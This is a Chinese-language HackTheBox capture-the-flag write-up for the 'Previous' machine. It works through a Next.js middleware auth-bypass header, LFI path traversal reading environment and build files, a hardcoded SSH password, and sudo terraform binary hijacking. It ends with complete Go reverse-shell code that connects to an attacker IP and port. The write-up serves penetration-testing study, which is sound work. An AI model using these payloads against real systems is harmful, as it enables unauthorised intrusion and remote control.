HTB赛季8靶场 - Previous
nmap扫描
nmap -F -A 10.129.156.183 --min-rate=1000
路径爆破,和技术栈收集,发现邮箱和next.js,我们在wapplyzer可以看到是15.2.2版本。
feroxbuster -u http://previous.htb/ --dont-scan '^/(img|css|svg)/$' -d 4 -w /home/kali/Desktop/PocHunt/content_discovery_all.txt -o ferobuster/20250825 katana -u http://previous.htb/ -d 5 -jc -kf allxnLinkFinder -i http://previous.htb/ -sf http://previous.htb/ -vv ```
经过google查询,我们发现next.js 2025年爆出认证绕过漏洞。我们尝试该漏洞
curl -v "http://previous.htb/docs/" \-H "Host:previous.htb" \-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \-H "Accept-Language: en-US,en;q=0.9" \-H "Upgrade-Insecure-Requests: 1" \-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \-H "Accept-Encoding: gzip, deflate, br" \-H "Connection: keep-alive"\
我们成功绕过了权限控制,我们在doc的example中发现了download接口。
这个接口存在LFI漏洞
我们发现了/proc/self/environ这个文件泄露了环境变量情况。
我们了解到next.js的文件夹为app,这是创痛的next.js服务器的目录结构
../../../../../../../app/server.js
可以看出来Web根目录情况为
../../../../../../../app/.next/
next.js里面通常有route-manifest.json文件
../../../../../../../app/.next/routes-manifest.json
我们了解到路由为api/auth/[…nextauth] ,next.js当中的接口后台文件的固定目录是
../../../../../../../app/.next/server/pages/<routes>.js../../../../../../../app/.next/server/pages/api/auth/[...nextauth].js
分析源码可知,用户密码被硬编码在了js文件中
MyNameIsJeremyAndILovePancakes
使用jeremy账密登录ssh服务
ssh jeremy@previous.htb
我们sudo - l发现自己有terraform的sudo权限
sudo告诉我们 !env_reset ,即不会因为sudo而重置环境变量,除了PATH。我们执行terraform 发现了有趣的东西。
一个是设置/usr/local/go/bin为example的环境变量,一个是创建了一个文件。创建文件可以使用软连接攻击,但这个靶场不适用。环境变量则更为有趣,我们上google查询terraform CLI configuration的设置方法。发现就在~/.terraformrc下。
我们修改环境变量为tmp,然后查看他会调用哪个文件,因为/tmp目录下没有相关文件所以一定报错。
现在可以说明我们可以通过修改环境变量劫持ELF文件了,那么我们构造好响应的ELF文件即可,俺是尝试过pwn.c直接构造发现不可行。
所以我们使用go构造ELF即可,下面是payload
package main
import ("net" // requirement to establish a connection"os" // requirement to call os.Exit()"os/exec" // requirement to execute commands against the target system
)
func main() {// Connecting back to the attacker// If it fails, we exit the programconn, err := net.Dial("tcp", "10.10.16.5:9001")if err != nil {os.Exit(1)}// Creating a /bin/sh processcmd := exec.Command("/bin/sh")// Connecting stdin and stdout// to the opened connectioncmd.Stdin = conncmd.Stdout = conncmd.Stderr = conn// Run the processcmd.Run()
}
编译好后放在/tmp下重新运行sudo的命令即可。